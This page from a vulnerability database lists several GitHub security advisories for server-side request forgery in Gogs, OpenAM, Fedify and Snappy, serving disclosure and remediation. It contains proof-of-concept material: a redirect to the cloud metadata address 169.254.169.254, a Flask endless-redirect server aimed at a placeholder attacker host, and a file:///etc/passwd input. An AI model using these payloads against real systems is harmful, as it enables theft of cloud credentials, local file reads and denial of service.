CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4755 vulnerabilities reference this CWE, most recent first.
GHSA-C4V7-XG93-QF8G
Vulnerability from github – Published: 2026-06-22 22:44 – Updated: 2026-07-21 13:16Summary
The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.
This was already communicated in the initial report but it looks like there was a bit of a miscommunication.
Details
By creating a webook pointing to any URL that will return the following:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close
It is possible to access 169.254.169.254
PoC
- Run netcat on any server
- Use this server as the webhook URL
- Once you get the request from the webhook (for example by testing it), copy the response above
Results from running this on try.gogs:
{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}
Impact
Server Side Request Forgery
Fix
The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.14.2"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47267"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T22:44:57Z",
"nvd_published_at": "2026-06-24T21:16:54Z",
"severity": "HIGH"
},
"details": "### Summary\nThe fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.\n\nThis was already communicated in the initial report but it looks like there was a bit of a miscommunication.\n\n### Details\n\nBy creating a webook pointing to any URL that will return the following:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: http://169.254.169.254/metadata/v1.json\nContent-Length: 0\nConnection: close\n```\nIt is possible to access 169.254.169.254\n\n### PoC\n\n1. Run netcat on any server\n2. Use this server as the webhook URL\n3. Once you get the request from the webhook (for example by testing it), copy the response above\n\nResults from running this on try.gogs:\n\n```\n{\"droplet_id\":456901166,\"hostname\":\"gogs-do-nyc3-01\",\"vendor_data\":\"Content-Type: multipart/mixed; boundary=\\\"===============8645434374073493512==\\\"\\nMIME-Version: 1.0\\n\\n--===============8645434374073493512==\\nMIME-Version: 1.0\\nContent-Type: text/cloud-config; charset=\\\"us-ascii\\\"\\nContent-Transfer-Encoding: 7bit\\nContent-Disposition: attachment; filename=\\\"cloud-config\\\"\\n\\n#cloud-config\\n\\n# Enable root and password auth\\ndisable_roo...{\"dhcp_enabled\":false,\"vpc_peering_enabled\":false},\"dotty_status\":\"running\",\"ssh_info\":{\"port\":22}}\n```\n\n### Impact\nServer Side Request Forgery\n\n### Fix\n\nThe \"simplest way\" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname",
"id": "GHSA-c4v7-xg93-qf8g",
"modified": "2026-07-21T13:16:48Z",
"published": "2026-06-22T22:44:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-c4v7-xg93-qf8g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47267"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8263"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gogs has SSRF in webhook deliveries"
}
GHSA-C556-Q2MH-477V
Vulnerability from github – Published: 2026-06-22 20:10 – Updated: 2026-06-22 20:10OpenAM (Open Identity Platform) is an open-source Identity and Access Management (IAM) platform derived from ForgeRock OpenAM, providing SSO, OAuth2, SAML, and OpenID Connect capabilities. It is widely deployed in enterprise environments as a central authentication gateway.
The /sessionservice endpoint, used for internal session management operations, does not sufficiently restrict the URLs that authenticated users may register for session event notifications. Under certain conditions, this may result in outbound server-side requests to attacker-controlled destinations, potentially exposing session-related data.
This behavior results in a server-side request forgery (SSRF) vulnerability, where an authenticated attacker can trigger outbound requests to arbitrary destinations.
Credit
Discovered by JD-Security SHENYI Team
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 16.0.6"
},
"package": {
"ecosystem": "Maven",
"name": "org.openidentityplatform.openam:openam-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "16.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44202"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T20:10:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "OpenAM (Open Identity Platform) is an open-source Identity and Access Management (IAM) platform derived from ForgeRock OpenAM, providing SSO, OAuth2, SAML, and OpenID Connect capabilities. It is widely deployed in enterprise environments as a central authentication gateway.\n\nThe `/sessionservice` endpoint, used for internal session management operations, does not sufficiently restrict the URLs that authenticated users may register for session event notifications. Under certain conditions, this may result in outbound server-side requests to attacker-controlled destinations, potentially exposing session-related data.\n\nThis behavior results in a **server-side request forgery (SSRF)** vulnerability, where an authenticated attacker can trigger outbound requests to arbitrary destinations.\n\n## Credit\n\nDiscovered by **JD-Security SHENYI Team**",
"id": "GHSA-c556-q2mh-477v",
"modified": "2026-06-22T20:10:55Z",
"published": "2026-06-22T20:10:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-c556-q2mh-477v"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenIdentityPlatform/OpenAM"
},
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/16.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "OpenAM Authenticated Server-Side Request Forgery (SSRF) via `/sessionservice`"
}
GHSA-C59P-WQ67-24WX
Vulnerability from github – Published: 2025-01-21 19:58 – Updated: 2025-01-21 19:58Summary
This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service. Moreover, this issue can also be maneuvered into performing a Blind SSRF attack.
Details
The Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.
The lookupWebFinger function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object. On Fedify, two client-facing functions implement the lookupWebFinger function- getActorHandle, and lookupObject, which are both used as a wrapper for the vulnerable lookup function. As the lookupObject function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way getActorHandle is.
The getActorHandle function is a wrapper function for the getActorHandleInternal function (both present at /src/vocab/actor.ts):
async function getActorHandleInternal(
actor: Actor | URL,
options: GetActorHandleOptions = {},
): Promise<`@${string}@${string}` | `${string}@${string}`> {
const actorId = actor instanceof URL ? actor : actor.id;
if (actorId != null) {
const result = await lookupWebFinger(actorId, {
userAgent: options.userAgent,
tracerProvider: options.tracerProvider,
});
if (result != null) {
const aliases = [...(result.aliases ?? [])];
if (result.subject != null) aliases.unshift(result.subject);
for (const alias of aliases) {
const match = alias.match(/^acct:([^@]+)@([^@]+)$/);
if (match != null) {
const hostname = new URL(`https://${match[2]}/`).hostname;
if (
hostname !== actorId.hostname &&
!await verifyCrossOriginActorHandle(
actorId.href,
alias,
options.userAgent,
options.tracerProvider,
)
) {
continue;
}
return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);
}
}
}
}
if (
!(actor instanceof URL) && actor.preferredUsername != null &&
actor.id != null
) {
return normalizeActorHandle(
`@${actor.preferredUsername}@${actor.id.host}`,
options,
);
}
throw new TypeError(
"Actor does not have enough information to get the handle.",
);
}
The actorId parameter containing a URL of the actor ID sinks into the lookupWebFinger function which is a wrapper for the lookupWebFingerInternal:
async function lookupWebFingerInternal(
resource: URL | string,
options: LookupWebFingerOptions = {},
): Promise<ResourceDescriptor | null> {
if (typeof resource === "string") resource = new URL(resource);
let protocol = "https:";
let server: string;
if (resource.protocol === "acct:") {
const atPos = resource.pathname.lastIndexOf("@");
if (atPos < 0) return null;
server = resource.pathname.substring(atPos + 1);
if (server === "") return null;
} else {
protocol = resource.protocol;
server = resource.host;
}
let url = new URL(`${protocol}//${server}/.well-known/webfinger`);
url.searchParams.set("resource", resource.href);
while (true) {
logger.debug(
"Fetching WebFinger resource descriptor from {url}...",
{ url: url.href },
);
let response: Response;
try {
response = await fetch(url, {
headers: {
Accept: "application/jrd+json",
"User-Agent": typeof options.userAgent === "string"
? options.userAgent
: getUserAgent(options.userAgent),
},
redirect: "manual",
});
} catch (error) {
logger.debug(
"Failed to fetch WebFinger resource descriptor: {error}",
{ url: url.href, error },
);
return null;
}
if (
response.status >= 300 && response.status < 400 &&
response.headers.has("Location")
) {
url = new URL(
response.headers.get("Location")!,
response.url == null || response.url === "" ? url : response.url,
);
continue;
}
if (!response.ok) {
logger.debug(
"Failed to fetch WebFinger resource descriptor: {status} {statusText}.",
{
url: url.href,
status: response.status,
statusText: response.statusText,
},
);
return null;
}
try {
return await response.json() as ResourceDescriptor;
} catch (e) {
if (e instanceof SyntaxError) {
logger.debug(
"Failed to parse WebFinger resource descriptor as JSON: {error}",
{ error: e },
);
return null;
}
throw e;
}
}
}
The function takes the actorId parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.
On the fetch request, the redirect attribute is set to “manual” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).
This custom redirect implementation contains multiple issues: 1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting. 2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation. 3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.
In order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.
PoC
- In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.
- We will create two machines, victim and attacker, each one on a different server with different domains.
Victim Machine
1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
2. Install a Deno server:
curl -fsSL https://deno.land/install.sh | sh
source ~/.bashrc
deno --version #check deno is working
3. Pull the git repository of the victim blog app:
git clone https://github.com/dahlia/fedify.git
4. Modify the federation object to remove signature checks for the sake of easy testing:
On file /examples/blog/federation/mod.ts edit the createFederation object the following attribute: skipSignatureVerification: true.
5. Change into the blog app directory ( /examples/blog ) and run the app:
deno task preview
6. Surf to the application on the browser, and register a user on the app.
Attacker Machine
1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
source ~/.bashrc
nvm list-remote
3. Install the latest stable version:
nvm install {latest_ver} #for example: v20.10.0
source ~/.bashrc
npm -v #check it works
node -v #check it works
4. Download the attacker app repository:
git clone https://github.com/dahlia/microblog.git
5. Disable request signature validations:
Edit the /src/federation.ts file and add a skipSignatureVerification: true attribute to the createFederation object.
6. Modify the /src/federation.ts file and tamper with the Person object on the actor dispatcher ( setActorDispatcher("/users/{identifier}" ) - change the actor ID attribute “id: ctx.getActorUri(identifier)” into “id: new URL(‘http://:1337/users/enterloop’)”.
7. Install python flask and create the Python Flask redirect server:
apt update
apt install python3-flask
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/health')
def health():
return "hello", 200
@app.route('/.well-known/webfinger')
def ssrfinger():
return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")
@app.route('/endlessloop')
def endlessloop():
return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0' ,port=1337)
- Run the python server and attempt to reach the “/health” path to see the server functions as expected.
- Read the README.txt file on the attacker app and follow the instructions on how to execute the app.
- Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
- Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).
Impact
- Implement a limiting stop condition for the endless loop to prevent infinite loops.
- Validate the scheme while performing a manual redirection handler.
- For each web resource (for the lookupWebFinger function and also URLs found on the “Location” header inside the loop) use the “validatePublicUrl” function to verify that it is not targeting a local resource.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.13"
},
{
"fixed": "1.0.14"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.13"
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.10"
},
{
"fixed": "1.1.11"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.1.10"
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.10"
},
{
"fixed": "1.2.11"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.2.10"
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.3"
},
{
"fixed": "1.3.4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.3.3"
]
}
],
"aliases": [
"CVE-2025-23221"
],
"database_specific": {
"cwe_ids": [
"CWE-835",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-21T19:58:29Z",
"nvd_published_at": "2025-01-20T17:15:07Z",
"severity": "MODERATE"
},
"details": "### Summary\nThis vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim\u2019s server into an infinite loop causing Denial of Service.\nMoreover, this issue can also be maneuvered into performing a Blind SSRF attack.\n\n### Details\nThe Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.\n\nThe **lookupWebFinger** function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor\u2019s object.\nOn Fedify, two client-facing functions implement the **lookupWebFinger** function- **getActorHandle**, and **lookupObject**, which are both used as a wrapper for the vulnerable lookup function.\nAs the **lookupObject** function is implemented only for CLI usage, we won\u2019t focus our PoC and explanation on it, but it is still vulnerable in the same way **getActorHandle** is.\n\nThe **getActorHandle** function is a wrapper function for the **getActorHandleInternal** function (both present at _/src/vocab/actor.ts_):\n```javascript\nasync function getActorHandleInternal(\n actor: Actor | URL,\n options: GetActorHandleOptions = {},\n): Promise\u003c`@${string}@${string}` | `${string}@${string}`\u003e {\n const actorId = actor instanceof URL ? actor : actor.id;\n if (actorId != null) {\n const result = await lookupWebFinger(actorId, {\n userAgent: options.userAgent,\n tracerProvider: options.tracerProvider,\n });\n if (result != null) {\n const aliases = [...(result.aliases ?? [])];\n if (result.subject != null) aliases.unshift(result.subject);\n for (const alias of aliases) {\n const match = alias.match(/^acct:([^@]+)@([^@]+)$/);\n if (match != null) {\n const hostname = new URL(`https://${match[2]}/`).hostname;\n if (\n hostname !== actorId.hostname \u0026\u0026\n !await verifyCrossOriginActorHandle(\n actorId.href,\n alias,\n options.userAgent,\n options.tracerProvider,\n )\n ) {\n continue;\n }\n return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);\n }\n }\n }\n }\n if (\n !(actor instanceof URL) \u0026\u0026 actor.preferredUsername != null \u0026\u0026\n actor.id != null\n ) {\n return normalizeActorHandle(\n `@${actor.preferredUsername}@${actor.id.host}`,\n options,\n );\n }\n throw new TypeError(\n \"Actor does not have enough information to get the handle.\",\n );\n}\n```\n\nThe **actorId** parameter containing a URL of the actor ID sinks into the **lookupWebFinger** function which is a wrapper for the **lookupWebFingerInternal**:\n```javascript\nasync function lookupWebFingerInternal(\n resource: URL | string,\n options: LookupWebFingerOptions = {},\n): Promise\u003cResourceDescriptor | null\u003e {\n if (typeof resource === \"string\") resource = new URL(resource);\n let protocol = \"https:\";\n let server: string;\n if (resource.protocol === \"acct:\") {\n const atPos = resource.pathname.lastIndexOf(\"@\");\n if (atPos \u003c 0) return null;\n server = resource.pathname.substring(atPos + 1);\n if (server === \"\") return null;\n } else {\n protocol = resource.protocol;\n server = resource.host;\n }\n let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n url.searchParams.set(\"resource\", resource.href);\n while (true) {\n logger.debug(\n \"Fetching WebFinger resource descriptor from {url}...\",\n { url: url.href },\n );\n let response: Response;\n try {\n response = await fetch(url, {\n headers: {\n Accept: \"application/jrd+json\",\n \"User-Agent\": typeof options.userAgent === \"string\"\n ? options.userAgent\n : getUserAgent(options.userAgent),\n },\n redirect: \"manual\",\n });\n } catch (error) {\n logger.debug(\n \"Failed to fetch WebFinger resource descriptor: {error}\",\n { url: url.href, error },\n );\n return null;\n }\n if (\n response.status \u003e= 300 \u0026\u0026 response.status \u003c 400 \u0026\u0026\n response.headers.has(\"Location\")\n ) {\n url = new URL(\n response.headers.get(\"Location\")!,\n response.url == null || response.url === \"\" ? url : response.url,\n );\n continue;\n }\n if (!response.ok) {\n logger.debug(\n \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n {\n url: url.href,\n status: response.status,\n statusText: response.statusText,\n },\n );\n return null;\n }\n try {\n return await response.json() as ResourceDescriptor;\n } catch (e) {\n if (e instanceof SyntaxError) {\n logger.debug(\n \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n { error: e },\n );\n return null;\n }\n throw e;\n }\n }\n}\n```\n\nThe function takes the **actorId** parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.\n\nOn the fetch request, the **redirect** attribute is set to \u201c**manual**\u201d preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the \u201cLocation\u201d header until receiving a valid response or an error occurs (loop keeps until 300\u003estatus code\u003e400).\n\nThis custom redirect implementation contains multiple issues:\n1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.\n2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.\n3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.\n\nIn order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.\n\n\n### PoC\n1. In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.\n2. We will create two machines, victim and attacker, each one on a different server with different domains.\n\n**_Victim Machine_**\n1. Create a new instance (we tested on ubuntu\u2019s latest version), and update the package manager.\n2. Install a Deno server:\n`\ncurl -fsSL https://deno.land/install.sh | sh\n`\n`\nsource ~/.bashrc\n`\n`\ndeno --version #check deno is working\n`\n3. Pull the git repository of the victim blog app:\n`\ngit clone https://github.com/dahlia/fedify.git\n`\n4. Modify the federation object to remove signature checks for the sake of easy testing:\nOn file **_/examples/blog/federation/mod.ts_** edit the **_createFederation\u003cvoid\u003e_** object the following attribute: **_skipSignatureVerification: true_**.\n5. Change into the blog app directory ( /examples/blog ) and run the app:\n`\ndeno task preview\n`\n6. Surf to the application on the browser, and register a user on the app.\n\n**_Attacker Machine_**\n1. Create a new instance (we tested on ubuntu\u2019s latest version), and update the package manager.\n2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):\n`\ncurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash\n`\n`\nsource ~/.bashrc\n`\n`\nnvm list-remote\n`\n3. Install the latest stable version:\n`\nnvm install {latest_ver} #for example: v20.10.0\n`\n`\nsource ~/.bashrc\n`\n`\nnpm -v #check it works\n`\n`\nnode -v #check it works\n`\n4. Download the attacker app repository:\n`\ngit clone https://github.com/dahlia/microblog.git\n`\n5. Disable request signature validations:\nEdit the **_/src/federation.ts_** file and add a **_skipSignatureVerification: true_** attribute to the **_createFederation_** object.\n6. Modify the **_/src/federation.ts_** file and tamper with the Person object on the actor dispatcher ( **_setActorDispatcher(\"/users/{identifier}\"_** ) - change the actor ID attribute **_\u201cid: ctx.getActorUri(identifier)_**\u201d into \u201c**_id: new URL(\u2018http://\u003cATTACKER_MACHINE_DOMAIN\u003e:1337/users/enterloop\u2019)_**\u201d.\n7. Install python flask and create the Python Flask redirect server:\n`\napt update\n`\n`\napt install python3-flask\n`\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\u0027/health\u0027)\ndef health():\n return \"hello\", 200\n\n@app.route(\u0027/.well-known/webfinger\u0027)\ndef ssrfinger():\n return redirect(\"http://\u003cATTACKER_MACHINE_DOMAIN\u003e:1337/endlessloop\")\n\n@app.route(\u0027/endlessloop\u0027)\ndef endlessloop():\n return redirect(\"http://\u003cATTACKER_MACHINE_DOMAIN\u003e:1337/endlessloop\")\n\nif __name__ == \u0027__main__\u0027:\n app.run(debug=True,host=\u00270.0.0.0\u0027 ,port=1337)\n```\n8. Run the python server and attempt to reach the \u201c**_/health_**\u201d path to see the server functions as expected.\n9. Read the **_README.txt_** file on the attacker app and follow the instructions on how to execute the app.\n10. Surf the app on the browser and attempt to follow the federated user on the victim\u2019s machine.\n11. Send the \u201cfollow\u201d request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).\n\n\n### Impact\n1. Implement a limiting stop condition for the endless loop to prevent infinite loops.\n2. Validate the scheme while performing a manual redirection handler.\n3. For each web resource (for the **_lookupWebFinger_** function and also URLs found on the \u201c**_Location_**\u201d header inside the loop) use the \u201c**_validatePublicUrl_**\u201d function to verify that it is not targeting a local resource.\n",
"id": "GHSA-c59p-wq67-24wx",
"modified": "2025-01-21T19:58:29Z",
"published": "2025-01-21T19:58:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dahlia/fedify/security/advisories/GHSA-c59p-wq67-24wx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23221"
},
{
"type": "WEB",
"url": "https://github.com/dahlia/fedify/commit/8be3c2038eebf4ae12481683a1e809b314be3151"
},
{
"type": "WEB",
"url": "https://github.com/dahlia/fedify/commit/c505eb82fcd6b5b17174c6659c29721bc801ab9a"
},
{
"type": "WEB",
"url": "https://github.com/dahlia/fedify/commit/e921134dd5097586e4563ea80b9e8d1b5460a645"
},
{
"type": "PACKAGE",
"url": "https://github.com/dahlia/fedify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Infinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify/fedify"
}
GHSA-C5FP-P67M-GQ56
Vulnerability from github – Published: 2026-05-21 20:20 – Updated: 2026-06-11 13:30Impact
It impacts applications where: - the PHP daemon run with root permissions ; - the application is either running outside a container or has sensitive file access ;
It could happens with this kind of workflows:
$stylesheet = $_GET['stylesheet']; // = ‘file:///etc/passwd’
$pdf = new Knp\Snappy\Pdf(‘/usr/local/bin/wkhtmltopdf’);
$pdf->generate(‘page.html’, ‘out.pdf’, [
‘xsl-style-sheet’ => $stylesheet
]);
Patches
A list a schema with http and https by default is used to validate the remote path by default.
Workarounds
Developers should ensure usage cannot allow (in any case) a user to pass a free input directly to the Snappy library.
// Bad example
$pdf = new Knp\Snappy\Pdf(‘/usr/local/bin/wkhtmltopdf’);
$pdf->generate(‘page.html’, ‘out.pdf’, [
‘xsl-style-sheet’ => $_GET['input'],
]);
Instead developers can list available available stylesheets and pick the right one with the user input.
// Better
$allowedStylesheets = [
'invoice' => '/app/xsl/invoice.xsl',
'report' => '/app/xsl/report.xsl',
];
$key = $_GET['stylesheet'] ?? '';
if (!array_key_exists($key, $allowedStylesheets)) {
throw new \RuntimeException('Unknown stylesheet.');
}
$pdf = new Knp\Snappy\Pdf('/usr/local/bin/wkhtmltopdf');
$pdf->generate('page.html', 'out.pdf', [
'xsl-style-sheet' => $allowedStylesheets[$key],
]);
References
Read more about SSRF at owasp.org/www-community/attacks/Server_Side_Request_Forgery
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "knplabs/knp-snappy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46683"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T20:20:01Z",
"nvd_published_at": "2026-06-10T20:17:29Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIt impacts applications where:\n- the PHP daemon run with root permissions ;\n- the application is either running outside a container or has sensitive file access ;\n\nIt could happens with this kind of workflows:\n\n```php\n$stylesheet = $_GET[\u0027stylesheet\u0027]; // = \u2018file:///etc/passwd\u2019\n$pdf = new Knp\\Snappy\\Pdf(\u2018/usr/local/bin/wkhtmltopdf\u2019);\n $pdf-\u003egenerate(\u2018page.html\u2019, \u2018out.pdf\u2019, [\n \u2018xsl-style-sheet\u2019 =\u003e $stylesheet\n ]);\n```\n\n### Patches\n\nA list a schema with `http` and `https` by default is used to validate the remote path by default.\n\n### Workarounds\n\nDevelopers should ensure usage cannot allow (in any case) a user to pass a free input directly to the Snappy library.\n\n```php\n// Bad example\n$pdf = new Knp\\Snappy\\Pdf(\u2018/usr/local/bin/wkhtmltopdf\u2019);\n $pdf-\u003egenerate(\u2018page.html\u2019, \u2018out.pdf\u2019, [\n \u2018xsl-style-sheet\u2019 =\u003e $_GET[\u0027input\u0027],\n ]);\n```\n\nInstead developers can list available available stylesheets and pick the right one with the user input.\n\n```php\n// Better\n$allowedStylesheets = [\n \u0027invoice\u0027 =\u003e \u0027/app/xsl/invoice.xsl\u0027,\n \u0027report\u0027 =\u003e \u0027/app/xsl/report.xsl\u0027,\n];\n\n$key = $_GET[\u0027stylesheet\u0027] ?? \u0027\u0027;\n\nif (!array_key_exists($key, $allowedStylesheets)) {\n throw new \\RuntimeException(\u0027Unknown stylesheet.\u0027);\n}\n\n$pdf = new Knp\\Snappy\\Pdf(\u0027/usr/local/bin/wkhtmltopdf\u0027);\n$pdf-\u003egenerate(\u0027page.html\u0027, \u0027out.pdf\u0027, [\n \u0027xsl-style-sheet\u0027 =\u003e $allowedStylesheets[$key],\n]);\n```\n\n### References\n\nRead more about SSRF at [owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)",
"id": "GHSA-c5fp-p67m-gq56",
"modified": "2026-06-11T13:30:20Z",
"published": "2026-05-21T20:20:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-c5fp-p67m-gq56"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46683"
},
{
"type": "PACKAGE",
"url": "https://github.com/KnpLabs/snappy"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/releases/tag/v1.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Snappy : SSRF and local file read via the xsl-style-sheet option"
}
GHSA-C5G4-5PGJ-3VXF
